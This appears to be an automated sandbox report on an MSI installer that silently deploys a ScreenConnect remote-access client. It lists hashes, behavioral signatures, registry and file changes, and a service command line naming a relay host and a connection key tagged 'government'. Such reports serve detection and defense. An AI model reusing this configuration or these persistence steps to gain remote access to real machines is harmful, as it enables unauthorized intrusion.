Analysis
-
max time kernel
135s -
max time network
122s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
23-08-2024 02:29
Static task
static1
Behavioral task
behavioral1
Sample
ac34e44a897a626c34db1c18efcf707fc1d5473a46117586649f31f53c28496a.msi
Resource
win7-20240708-en
windows7-x64
18 signatures
150 seconds
Behavioral task
behavioral2
Sample
ac34e44a897a626c34db1c18efcf707fc1d5473a46117586649f31f53c28496a.msi
Resource
win10v2004-20240802-en
windows10-2004-x64
19 signatures
150 seconds
General
-
Target
ac34e44a897a626c34db1c18efcf707fc1d5473a46117586649f31f53c28496a.msi
-
Size
7.3MB
-
MD5
6086601a8560a2037f5091d8632d0509
-
SHA1
2a7203ea36b649e95f42a2cf0fcf38347d0a7640
-
SHA256
ac34e44a897a626c34db1c18efcf707fc1d5473a46117586649f31f53c28496a
-
SHA512
554fb256c1be49942c3c1b2cf1620c8d364a9fa52de7471808ba282019f87703980c9213045123fa5406916bc2e6e60fe963950d4916c622b1edd1f14032864a
-
SSDEEP
98304:HAMvSQwxDnl2dYds9GLIeDT3OF6zfAMvSQwxDnl2dYdsTAMvSQwxDnl2dYdsbAMF:bnEPDT3wAn/nHn
Score
8/10
Malware Config
Signatures
-
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (d8713efd2a06052f)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (d8713efd2a06052f)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-s1t9su-relay.screenconnect.com&p=443&s=405768c7-e817-4293-8bbf-ca3f80fe5001&k=BgIAAACkAABSU0ExAAgAAAEAAQAZhsU%2bP4UE5AtDTMSFWho25Rl9VjYF8BVBXNwYvU7ugYYwP08h0Z%2fmsf3hdTZqjWU0kI2j8SYjcPTHlmm1DVR4w%2bCnc6S9OaDbDbVnmTAZb4aLnlE0C%2bxZGL%2fgLPE0QdK9YGD5fWjCXXAGAq8z6%2fnmyvLLDh70j0hHGeffkk6HXpjl9E61RXxiCCy3wJleuhdWVSz2TYOAsya%2fs6TEOncLxRX5dVsIpVQHwe%2bApMXuapOWQ1kSv%2bZ0liWHcxZnDeQOpXfTGKLGsTXT3yFLz2B3W33laNnlW%2fpN5y3LSz9plPy4pGcwqi%2bgQpv6KqQ%2b4n55foFDpc6%2fFyuAI8vGWA2l&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA21CJimzipkyoRoHNSmyfUAAAAAACAAAAAAAQZgAAAAEAACAAAABpJ7cWBOJwA8MrBqzKBM0ZEcVyF672O%2b%2bix2nt2IGMwgAAAAAOgAAAAAIAACAAAACIrJ1jrnq5BQr7LH6i20%2fQKkCHBGka23%2bqorrTjINXL6AEAAA%2fzeg%2b%2fLfRHKE5R9q4Prr7zZnfxrVISUZuJyMgWjGogq8yyD%2f8OF2FmQCRj4x7yHCixZdJLKPSdiVDUkZfBAfxI9N%2bdzeO%2fQL3NxHVd77gid4lylwMSbtpiDg1LH1pyoUSKqUdfIoheTvtC6qaF%2bL4EumtKs6vzFxp06G1dJ0StSJ4TA%2fvy%2fSrkYi%2fay6IuUmgzoeQ0KYJhLFOoEC9fHfyo2%2fjJ9Eye0YTufSHr%2bC87%2bbSII0ZpKRvDUog1RgeOhb5wqNyyEVaUTr%2fYq5u4Iylzkou7wWpLZwQWZ6HckCRw%2fqzC8WxL5NUYKIdkiTTTyP03RfHaVwThSYRoXKCsVxq%2bN8jhyYcnm6bBUWPJe4GJEJLeEtfZw5upwgg8AdwcSvjVvzn2%2faULMmgTj%2fA3JTWk7I6ITtfLimBFxWnJ7lwle8Z9bCrTNGB0kGOMWBtMggk3JFgXHOeff2EQ%2fjAa0xrzBEy0McB2YP4WU0tuCboUGPEEdBfMNEKPEZjwbDib2wfDR1%2fiebVpYM%2f0p40WonEi85O8J7uoSuJq6l0uO0IjNYBU%2bJcrdpEQqXRIBuxyznUcNQ5oQIAJ%2bdYCMZ5QztBt1%2fDJppeOK%2bWPV0f4cGSELtLROC7FsYnzHAT0BhoKBTBNCHPMnWDnrihAvnHALIWZuP8aHuNte7BSUZca1qF2ry92sQsOVuVLHNVqzNYXO42LMukIuiLAL6uNZqR%2bus7wmXIqbxlehe%2b28MYWv2dKtF4CJL4dwf7VMg2HUOPpb5jZFHtV1WzbbCemjRfMoGxMKV7KVXc%2filEujM2vUyjnQJHudPlsEM6zrFkjBAjd0ozULR%2bYSVEo0ZKCdAPCtV%2b%2bLN3lYt8OQ4VwyMyyLg0l8Otk6ZRr52e2WLCLu7PrS1yGgeoVRIWY44wl4B9BAHPr0P2Bj9dtinz34JVqvbpZSDDT8xxVaYhS3l0dSAMkaTngx%2blf02o5VGJkKTVYWKSZw4HlQC3w39f1%2fQxwR2nFuh8PW3RbYDe%2bqg1gVkWl46BAA7EHwMIoKuchZ0x%2bZeggop3IDxG4gWwJaaV0o8yE56%2fDSAvWwSm2rRQyWjMalIAUaSZZceItHTGm3Eg%2fQKDVZXstq8E69AEWOQz5az8IlLXedUxQChELkah88TMJuViXAeNflKLdguIXVS3zW%2fWDX3H7NKvDkZb%2fQAmI5isdYDs4rYSKJINbk%2fKdhAZpjGEpe21wkzM6mexQBvPpiL7kdx305WxbThC0NiG2Ca9wx%2bEaG19514enDXwehe66wNMo4yHVXyHBHKf7mofBJPxefGaPwph4ifLs3jE6SMJHMSskO65bTRjHp0y9MJo5MDSzzZa4usWObENqmptN5B1GUx2TR3eSav%2bQoVJ7rvBUwxXrHEPrId8mRpRhIM6nolDc3WE5Pv%2bajTJsFM0LinGDnAyzhmoFZVuC3hE6qlMQaTMwOn7QrmTw9jZ4uZdTNiungbDnPxK1hcUo4osu0Z%2b6KwggMHZ%2f6f2ogNWXa0AyVRjTeImzWdMg90W1I0bYaLEGejAX1LfGH8NhkZxRhFxwIQC7o9yR4efZyysyqBQBkAAAABu0a5diP27u6JDSq%2fEmHQEuCjVnv8oZsWy6wx9Er3Kr%2bx7atGeX4GrZcx%2fr%2fGMCJusIyc%2fHAQ5NDgP%2bLnCtQAE&c=government&c=gov.al&c=it&c=pc&c=&c=&c=&c=\"" ScreenConnect.ClientService.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Z: msiexec.exe -
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
-
Drops file in Program Files directory 13 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d8713efd2a06052f)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe -
Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSID216.tmp msiexec.exe File created C:\Windows\Installer\wix{8582563A-FD89-E753-F1A0-2CF5D123E232}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSID1F6.tmp msiexec.exe File created C:\Windows\Installer\e57d13c.msi msiexec.exe File created C:\Windows\Installer\{8582563A-FD89-E753-F1A0-2CF5D123E232}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e57d13a.msi msiexec.exe File opened for modification C:\Windows\Installer\e57d13a.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{8582563A-FD89-E753-F1A0-2CF5D123E232} msiexec.exe File opened for modification C:\Windows\Installer\MSID340.tmp msiexec.exe File opened for modification C:\Windows\Installer\{8582563A-FD89-E753-F1A0-2CF5D123E232}\DefaultIcon msiexec.exe -
Executes dropped EXE 2 IoCs
pid Process 1220 ScreenConnect.ClientService.exe 1892 ScreenConnect.WindowsClient.exe -
Loads dropped DLL 20 IoCs
pid Process 624 MsiExec.exe 1220 rundll32.exe 1220 rundll32.exe 1220 rundll32.exe 1220 rundll32.exe 1220 rundll32.exe 1220 rundll32.exe 1220 rundll32.exe 4432 MsiExec.exe 1420 MsiExec.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe -
Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3408 msiexec.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe -
Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000a2808484d8f468e90000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000a28084840000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900a2808484000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1da2808484000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000a280848400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe -
Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 msiexec.exe -
Modifies registry class 37 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\sc-d8713efd2a06052f\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A365285898DF357E1F0AC25F1D322E23 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\ProductName = "ScreenConnect Client (d8713efd2a06052f)" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\Version = "386400261" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-d8713efd2a06052f msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d8713efd2a06052f\shell msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d8713efd2a06052f\shell\open msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d8713efd2a06052f\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d8713efd2a06052f\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (d8713efd2a06052f)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-B7B0-A2899034F188}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (d8713efd2a06052f)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-B7B0-A2899034F188}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\257FF64927B44E318D17E3DFA26050F2 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\SourceList\PackageName = "ac34e44a897a626c34db1c18efcf707fc1d5473a46117586649f31f53c28496a.msi" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\ProductIcon = "C:\\Windows\\Installer\\{8582563A-FD89-E753-F1A0-2CF5D123E232}\\DefaultIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\257FF64927B44E318D17E3DFA26050F2\A365285898DF357E1F0AC25F1D322E23 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d8713efd2a06052f msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d8713efd2a06052f\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-B7B0-A2899034F188} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A365285898DF357E1F0AC25F1D322E23\Full msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-B7B0-A2899034F188}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\SourceList\Media msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d8713efd2a06052f\URL Protocol msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-B7B0-A2899034F188}\ = "ScreenConnect Client (d8713efd2a06052f) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\PackageCode = "A365285898DF357E1F0AC25F1D322E23" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A365285898DF357E1F0AC25F1D322E23\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1892 ScreenConnect.WindowsClient.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1516 msiexec.exe 1516 msiexec.exe 1220 ScreenConnect.ClientService.exe 1220 ScreenConnect.ClientService.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3408 msiexec.exe Token: SeIncreaseQuotaPrivilege 3408 msiexec.exe Token: SeSecurityPrivilege 1516 msiexec.exe Token: SeCreateTokenPrivilege 3408 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3408 msiexec.exe Token: SeLockMemoryPrivilege 3408 msiexec.exe Token: SeIncreaseQuotaPrivilege 3408 msiexec.exe Token: SeMachineAccountPrivilege 3408 msiexec.exe Token: SeTcbPrivilege 3408 msiexec.exe Token: SeSecurityPrivilege 3408 msiexec.exe Token: SeTakeOwnershipPrivilege 3408 msiexec.exe Token: SeLoadDriverPrivilege 3408 msiexec.exe Token: SeSystemProfilePrivilege 3408 msiexec.exe Token: SeSystemtimePrivilege 3408 msiexec.exe Token: SeProfSingleProcessPrivilege 3408 msiexec.exe Token: SeIncBasePriorityPrivilege 3408 msiexec.exe Token: SeCreatePagefilePrivilege 3408 msiexec.exe Token: SeCreatePermanentPrivilege 3408 msiexec.exe Token: SeBackupPrivilege 3408 msiexec.exe Token: SeRestorePrivilege 3408 msiexec.exe Token: SeShutdownPrivilege 3408 msiexec.exe Token: SeDebugPrivilege 3408 msiexec.exe Token: SeAuditPrivilege 3408 msiexec.exe Token: SeSystemEnvironmentPrivilege 3408 msiexec.exe Token: SeChangeNotifyPrivilege 3408 msiexec.exe Token: SeRemoteShutdownPrivilege 3408 msiexec.exe Token: SeUndockPrivilege 3408 msiexec.exe Token: SeSyncAgentPrivilege 3408 msiexec.exe Token: SeEnableDelegationPrivilege 3408 msiexec.exe Token: SeManageVolumePrivilege 3408 msiexec.exe Token: SeImpersonatePrivilege 3408 msiexec.exe Token: SeCreateGlobalPrivilege 3408 msiexec.exe Token: SeCreateTokenPrivilege 3408 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3408 msiexec.exe Token: SeLockMemoryPrivilege 3408 msiexec.exe Token: SeIncreaseQuotaPrivilege 3408 msiexec.exe Token: SeMachineAccountPrivilege 3408 msiexec.exe Token: SeTcbPrivilege 3408 msiexec.exe Token: SeSecurityPrivilege 3408 msiexec.exe Token: SeTakeOwnershipPrivilege 3408 msiexec.exe Token: SeLoadDriverPrivilege 3408 msiexec.exe Token: SeSystemProfilePrivilege 3408 msiexec.exe Token: SeSystemtimePrivilege 3408 msiexec.exe Token: SeProfSingleProcessPrivilege 3408 msiexec.exe Token: SeIncBasePriorityPrivilege 3408 msiexec.exe Token: SeCreatePagefilePrivilege 3408 msiexec.exe Token: SeCreatePermanentPrivilege 3408 msiexec.exe Token: SeBackupPrivilege 3408 msiexec.exe Token: SeRestorePrivilege 3408 msiexec.exe Token: SeShutdownPrivilege 3408 msiexec.exe Token: SeDebugPrivilege 3408 msiexec.exe Token: SeAuditPrivilege 3408 msiexec.exe Token: SeSystemEnvironmentPrivilege 3408 msiexec.exe Token: SeChangeNotifyPrivilege 3408 msiexec.exe Token: SeRemoteShutdownPrivilege 3408 msiexec.exe Token: SeUndockPrivilege 3408 msiexec.exe Token: SeSyncAgentPrivilege 3408 msiexec.exe Token: SeEnableDelegationPrivilege 3408 msiexec.exe Token: SeManageVolumePrivilege 3408 msiexec.exe Token: SeImpersonatePrivilege 3408 msiexec.exe Token: SeCreateGlobalPrivilege 3408 msiexec.exe Token: SeCreateTokenPrivilege 3408 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3408 msiexec.exe Token: SeLockMemoryPrivilege 3408 msiexec.exe -
Suspicious use of FindShellTrayWindow 24 IoCs
pid Process 3408 msiexec.exe 3408 msiexec.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe -
Suspicious use of SendNotifyMessage 22 IoCs
pid Process 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe 1892 ScreenConnect.WindowsClient.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1516 wrote to memory of 624 1516 msiexec.exe 86 PID 1516 wrote to memory of 624 1516 msiexec.exe 86 PID 1516 wrote to memory of 624 1516 msiexec.exe 86 PID 624 wrote to memory of 1220 624 MsiExec.exe 88 PID 624 wrote to memory of 1220 624 MsiExec.exe 88 PID 624 wrote to memory of 1220 624 MsiExec.exe 88 PID 1516 wrote to memory of 2992 1516 msiexec.exe 102 PID 1516 wrote to memory of 2992 1516 msiexec.exe 102 PID 1516 wrote to memory of 4432 1516 msiexec.exe 104 PID 1516 wrote to memory of 4432 1516 msiexec.exe 104 PID 1516 wrote to memory of 4432 1516 msiexec.exe 104 PID 1516 wrote to memory of 1420 1516 msiexec.exe 105 PID 1516 wrote to memory of 1420 1516 msiexec.exe 105 PID 1516 wrote to memory of 1420 1516 msiexec.exe 105 PID 1220 wrote to memory of 1892 1220 ScreenConnect.ClientService.exe 107 PID 1220 wrote to memory of 1892 1220 ScreenConnect.ClientService.exe 107 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ac34e44a897a626c34db1c18efcf707fc1d5473a46117586649f31f53c28496a.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3408
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1516 -
